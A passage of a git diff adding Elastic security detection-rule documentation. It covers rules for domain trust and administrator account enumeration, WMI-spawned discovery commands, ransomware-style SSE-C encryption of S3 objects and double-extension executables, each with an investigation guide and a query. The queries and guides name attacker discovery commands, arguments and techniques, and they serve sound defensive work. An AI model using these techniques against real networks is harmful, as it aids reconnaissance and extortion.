DSQUERY.EXE + +Identifies the use of dsquery.exe for domain trust discovery purposes. Adversaries may use this command-line utility to enumerate trust relationships that may be used for Lateral Movement opportunities in Windows multi-domain forest environments. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11) +* https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Enumerating Domain Trusts via DSQUERY.EXE* + + +Active Directory (AD) domain trusts define relationships between domains within a Windows AD environment. In this setup, a "trusting" domain permits users from a "trusted" domain to access resources. These trust relationships can be configurable as one-way, two-way, transitive, or non-transitive, enabling controlled access and resource sharing across domains. + +This rule identifies the usage of the `dsquery.exe` utility to enumerate domain trusts. Attackers can use this information to enable the next actions in a target environment, such as lateral movement. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation and are done within the user business context (e.g., an administrator in this context). As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Related rules* + + +- Enumerating Domain Trusts via NLTEST.EXE - 84da2554-e12a-11ec-b896-f661ea17fbcd + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Restrict PowerShell usage outside of IT and engineering business units using GPOs, AppLocker, Intune, or similar software. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "dsquery.exe" or ?process.pe.original_file_name: "dsquery.exe") and + process.args : "*objectClass=trustedDomain*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enumerating-domain-trusts-via-nltest-exe.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enumerating-domain-trusts-via-nltest-exe.asciidoc new file mode 100644 index 0000000000..943e63840f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enumerating-domain-trusts-via-nltest-exe.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-21-enumerating-domain-trusts-via-nltest-exe]] +=== Enumerating Domain Trusts via NLTEST.EXE + +Identifies the use of nltest.exe for domain trust discovery purposes. Adversaries may use this command-line utility to enumerate domain trusts and gain insight into trust relationships, as well as the state of Domain Controller (DC) replication in a Microsoft Windows NT Domain. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11) +* https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Sysmon + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Enumerating Domain Trusts via NLTEST.EXE* + + +Active Directory (AD) domain trusts define relationships between domains within a Windows AD environment. In this setup, a "trusting" domain permits users from a "trusted" domain to access resources. These trust relationships can be configurable as one-way, two-way, transitive, or non-transitive, enabling controlled access and resource sharing across domains. + +This rule identifies the usage of the `nltest.exe` utility to enumerate domain trusts. Attackers can use this information to enable the next actions in a target environment, such as lateral movement. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation and are done within the user business context (e.g., an administrator in this context). As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Related rules* + + +- Enumerating Domain Trusts via DSQUERY.EXE - 06a7a03c-c735-47a6-a313-51c354aef6c3 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Restrict PowerShell usage outside of IT and engineering business units using GPOs, AppLocker, Intune, or similar software. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "nltest.exe" and process.args : ( + "/DCLIST:*", "/DCNAME:*", "/DSGET*", + "/LSAQUERYFTI:*", "/PARENTDOMAIN", + "/DOMAIN_TRUSTS", "/BDC_QUERY:*" + ) and +not process.parent.name : "PDQInventoryScanner.exe" and +not ( + user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enumeration-command-spawned-via-wmiprvse.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enumeration-command-spawned-via-wmiprvse.asciidoc new file mode 100644 index 0000000000..0691f1e7a0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enumeration-command-spawned-via-wmiprvse.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-21-enumeration-command-spawned-via-wmiprvse]] +=== Enumeration Command Spawned via WMIPrvSE + +Identifies native Windows host and network enumeration commands spawned by the Windows Management Instrumentation Provider Service (WMIPrvSE). + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Enumeration Command Spawned via WMIPrvSE* + + +Windows Management Instrumentation (WMI) is a powerful framework for managing data and operations on Windows systems. Adversaries exploit WMI to execute enumeration commands stealthily, leveraging the WMI Provider Service (WMIPrvSE) to gather system and network information. The detection rule identifies suspicious command executions initiated by WMIPrvSE, focusing on common enumeration tools while excluding benign use cases, thus highlighting potential malicious activity. + + +*Possible investigation steps* + + +- Review the process command line details to understand the specific enumeration command executed and its arguments, focusing on the process.command_line field. +- Investigate the parent process to confirm it is indeed WMIPrvSE by examining the process.parent.name field, ensuring the execution context aligns with potential misuse of WMI. +- Check the user context under which the process was executed to determine if it aligns with expected administrative activity or if it suggests unauthorized access. +- Correlate the event with other logs or alerts from the same host to identify any preceding or subsequent suspicious activities, such as lateral movement or privilege escalation attempts. +- Assess the network activity from the host around the time of the alert to identify any unusual outbound connections or data exfiltration attempts. +- Verify if the process execution is part of a known and legitimate administrative task or script by consulting with system administrators or reviewing change management records. + + +*False positive analysis* + + +- Routine administrative tasks using WMI may trigger the rule, such as network configuration checks or system diagnostics. To manage this, identify and exclude specific command patterns or arguments that are part of regular maintenance. +- Security tools like Tenable may use WMI for legitimate scans, which can be mistaken for malicious activity. Exclude processes with arguments related to known security tools, such as "tenable_mw_scan". +- Automated scripts or scheduled tasks that perform system enumeration for inventory or monitoring purposes can cause false positives. Review and whitelist these scripts by excluding their specific command lines or parent processes. +- Certain enterprise applications may use WMI for legitimate operations, such as querying system information. Identify these applications and create exceptions based on their process names or command line arguments. +- Regular use of network utilities by IT staff for troubleshooting can be flagged. Implement exclusions for known IT user accounts or specific command line patterns used during these activities. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified as being spawned by WMIPrvSE, especially those matching the enumeration tools listed in the detection query. +- Conduct a thorough review of recent WMI activity on the affected system to identify any additional unauthorized or suspicious commands executed. +- Reset credentials for any accounts that may have been compromised or used in the suspicious activity to prevent further unauthorized access. +- Restore the system from a known good backup if any malicious activity is confirmed and cannot be remediated through other means. +- Implement additional monitoring on the affected system and network to detect any recurrence of similar suspicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has spread to other systems. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.command_line != null and + process.name: + ( + "arp.exe", "dsquery.exe", "dsget.exe", "gpresult.exe", "hostname.exe", "ipconfig.exe", "nbtstat.exe", + "net.exe", "net1.exe", "netsh.exe", "netstat.exe", "nltest.exe", "ping.exe", "qprocess.exe", "quser.exe", + "qwinsta.exe", "reg.exe", "sc.exe", "systeminfo.exe", "tasklist.exe", "tracert.exe", "whoami.exe" + ) and + process.parent.name:"wmiprvse.exe" and + not ( + process.name : "sc.exe" and process.args : "RemoteRegistry" and process.args : "start=" and + process.args : ("demand", "disabled") + ) and + not process.args : "tenable_mw_scan" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Service Discovery +** ID: T1007 +** Reference URL: https://attack.mitre.org/techniques/T1007/ +* Technique: +** Name: Query Registry +** ID: T1012 +** Reference URL: https://attack.mitre.org/techniques/T1012/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Sub-technique: +** Name: Internet Connection Discovery +** ID: T1016.001 +** Reference URL: https://attack.mitre.org/techniques/T1016/001/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Network Connections Discovery +** ID: T1049 +** Reference URL: https://attack.mitre.org/techniques/T1049/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ +* Technique: +** Name: Group Policy Discovery +** ID: T1615 +** Reference URL: https://attack.mitre.org/techniques/T1615/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enumeration-of-administrator-accounts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enumeration-of-administrator-accounts.asciidoc new file mode 100644 index 0000000000..bba4ed6538 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enumeration-of-administrator-accounts.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-21-enumeration-of-administrator-accounts]] +=== Enumeration of Administrator Accounts + +Identifies instances of lower privilege accounts enumerating Administrator accounts or groups using built-in Windows tools. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Enumeration of Administrator Accounts* + + +After successfully compromising an environment, attackers may try to gain situational awareness to plan their next steps. This can happen by running commands to enumerate network resources, users, connections, files, and installed security software. + +This rule looks for the execution of the `net` and `wmic` utilities to enumerate administrator-related users or groups in the domain and local machine scope. Attackers can use this information to plan their next steps of the attack, such as mapping targets for credential compromise and other post-exploitation activities. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation. As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Related rules* + + +- AdFind Command Activity - eda499b8-a073-4e35-9733-22ec71f57f3a + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + ( + ( + (process.name : "net.exe" or ?process.pe.original_file_name == "net.exe") or + ((process.name : "net1.exe" or ?process.pe.original_file_name == "net1.exe") and not process.parent.name : "net.exe") + ) and + process.args : ("group", "user", "localgroup") and + process.args : ("*admin*", "Domain Admins", "Remote Desktop Users", "Enterprise Admins", "Organization Management") + and not process.args : ("/add", "/delete") + ) or + ( + (process.name : "wmic.exe" or ?process.pe.original_file_name == "wmic.exe") and + process.args : ("group", "useraccount") + ) +) and not user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Local Groups +** ID: T1069.001 +** Reference URL: https://attack.mitre.org/techniques/T1069/001/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Local Account +** ID: T1087.001 +** Reference URL: https://attack.mitre.org/techniques/T1087/001/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-excessive-aws-s3-object-encryption-with-sse-c.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-excessive-aws-s3-object-encryption-with-sse-c.asciidoc new file mode 100644 index 0000000000..dae7e2f911 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-excessive-aws-s3-object-encryption-with-sse-c.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-21-excessive-aws-s3-object-encryption-with-sse-c]] +=== Excessive AWS S3 Object Encryption with SSE-C + +Identifies a high-volume of AWS S3 objects stored in a bucket using using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a Threshold rule that triggers when this behavior is observed multiple times for a specific bucket in a short time-window. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Impact + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Excessive AWS S3 Object Encryption with SSE-C* + +This rule identifies a high volume of objects being encrypted using Server-Side Encryption with Customer-Provided Keys (SSE-C) in AWS S3. This could indicate malicious activity, such as ransomware encrypting objects, rendering them inaccessible without the corresponding encryption keys. + + +*Possible investigation steps* + + +**Identify the user and source**: + - Review the `aws.cloudtrail.user_identity.arn` to identify the IAM user or role performing the operation. + - Cross-check the `source.ip` and `user_agent.original` fields for unusual IPs or user agents that could indicate unauthorized access. + - Review the `aws.cloudtrail.user_identity.access_key_id` to identify the access key used. This could be a compromised key. + +**Examine the targeted resources**: + - Check `aws.cloudtrail.request_parameters` to identify the bucket involved. + - Analyze the object key from `aws.cloudtrail.request_parameters`. + +**Evaluate encryption behavior**: + - Confirm the encryption details in `aws.cloudtrail.request_parameters` and `aws.cloudtrail.additional_eventdata`. + - Note if `SSEApplied` is `SSE-C`, which confirms encryption using a customer-provided key. + +**Correlate with recent events**: + - Look for any suspicious activity in proximity to the encryption event, such as new access key creation, policy changes, or unusual access patterns from the same user or IP. + - Identify `ListBucket` or `GetObject` operations on the same bucket to determine all affected objects. + - For `PutObject` events, identify any other unusual objecs uploaded such as a ransom note. + +**Validate access permissions**: + - Check the IAM policies and roles associated with the user to verify if they had legitimate access to encrypt objects. + +**Assess impact**: + - Identify the number of encrypted objects in the bucket by examining other similar events. + - Determine if this encryption aligns with standard business practices or constitutes a deviation. + + +*False positive analysis* + + +- Confirm if SSE-C encryption is part of regular operations for compliance or data protection. +- Cross-reference known processes or users authorized for SSE-C encryption in the affected bucket. + + +*Response and remediation* + + +**Immediate actions**: + - Disable access keys or permissions for the user if unauthorized behavior is confirmed. + - Rotate the bucket's encryption configuration to mitigate further misuse. + +**Data recovery**: + - Attempt to identify and contact the party holding the SSE-C encryption keys if recovery is necessary. + +**Enhance monitoring**: + - Enable alerts for future SSE-C encryption attempts in critical buckets. + - Review and tighten IAM policies for roles and users accessing S3. + +**Post-Incident review**: + - Audit logs for additional activities by the same user or IP. + - Document findings and apply lessons learned to improve preventive measures. + + +==== Setup + + +AWS S3 data event types need to be enabled in the CloudTrail trail configuration. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "s3.amazonaws.com" + and event.action: "PutObject" + and event.outcome: "success" + and aws.cloudtrail.flattened.request_parameters.x-amz-server-side-encryption-customer-algorithm: "AES256" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-executable-file-creation-with-multiple-extensions.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-executable-file-creation-with-multiple-extensions.asciidoc new file mode 100644 index 0000000000..809ee21869 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-executable-file-creation-with-multiple-extensions.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-executable-file-creation-with-multiple-extensions]] +=== Executable File Creation with Multiple Extensions + +Masquerading can allow an adversary to evade defenses and better blend in with the environment. One way it occurs is when the name or location of a file is manipulated as a means of tricking a user into executing what they think is a benign file type but is actually executable code. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Executable File Creation with Multiple Extensions* + + +In Windows environments, adversaries may exploit file extensions to disguise malicious executables as benign files, such as documents or images, by appending multiple extensions. This tactic, known as masquerading, aims to deceive users and evade security measures. The detection rule identifies suspicious file creations by monitoring for executables with misleading extensions, excluding known legitimate processes, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the file creation event details to identify the full file path and name, focusing on the extensions used to determine if they match the suspicious pattern outlined in the query. +- Investigate the process that created the file by examining the process.executable field to determine if it is a known legitimate process or potentially malicious. +- Check the file's origin by analyzing the user account and network activity associated with the file creation event to identify any unusual or unauthorized access patterns. +- Utilize threat intelligence sources to assess if the file hash or any related indicators of compromise (IOCs) are known to be associated with malicious activity. +- Examine the file's metadata and properties to verify its authenticity and check for any signs of tampering or unusual characteristics. +- Conduct a behavioral analysis of the file in a controlled environment to observe any malicious actions or network communications it may attempt. + + +*False positive analysis* + + +- Legitimate software installations may create executables with multiple extensions during setup processes. Users can exclude these by adding exceptions for known installer paths, such as "C:\Users\*\QGIS_SCCM\Files\QGIS-OSGeo4W-*-Setup-x86_64.exe". +- System updates or patches might temporarily create files with multiple extensions. Monitor and verify these activities, and if confirmed as legitimate, add exceptions for the specific update processes. +- Development environments or script-based applications may generate files with multiple extensions for testing purposes. Identify these environments and exclude their specific file paths or processes to prevent false positives. +- Security tools or administrative scripts might use multiple extensions for legitimate purposes. Review and whitelist these tools by their executable paths or process names to avoid unnecessary alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate any suspicious processes associated with the masquerading executable files to halt any ongoing malicious actions. +- Quarantine the identified files with multiple extensions to prevent execution and further analysis. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional threats. +- Review and restore any altered system configurations or files to their original state to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for similar file creation activities to improve detection and response capabilities for future incidents. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and file.extension : "exe" and + file.name regex~ """.*\.(vbs|vbe|bat|js|cmd|wsh|ps1|pdf|docx?|xlsx?|pptx?|txt|rtf|gif|jpg|png|bmp|hta|txt|img|iso)\.exe""" and + not ( + process.executable : ( + "?:\\Windows\\System32\\msiexec.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\msiexec.exe", + "*\\Users\\*\\QGIS_SCCM\\Files\\QGIS-OSGeo4W-*-Setup-x86_64.exe" + ) and + file.path : ("?:\\Program Files\\QGIS *\\apps\\grass\\*.exe", "\\Device\\HarddiskVolume*\\Program Files\\QGIS *\\apps\\grass\\*.exe") + ) and + not process.executable : + ("C:\\Program Files\\dotnet\\dotnet.exe", + "C:\\Program Files\\Microsoft Visual Studio\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files\\dotnet\\dotnet.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Microsoft Visual Studio\\*.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Double File Extension +** ID: T1036.007 +** Reference URL: https://attack.mitre.org/techniques/T1036/007/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-from-unusual-directory-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-from-unusual-directory-command-line.asciidoc new file mode 100644 index 0000000000..31fb3be064 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-from-unusual-directory-command-line.asciidoc @@ -0,0 +1,295 @@ +[[prebuilt-rule-8-19-21-execution-from-unusual-directory-command-line]] +=== Execution from Unusual Directory - Command Line + +Identifies process execution from suspicious default Windows directories. This may be abused by adversaries to hide malware in trusted paths. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* 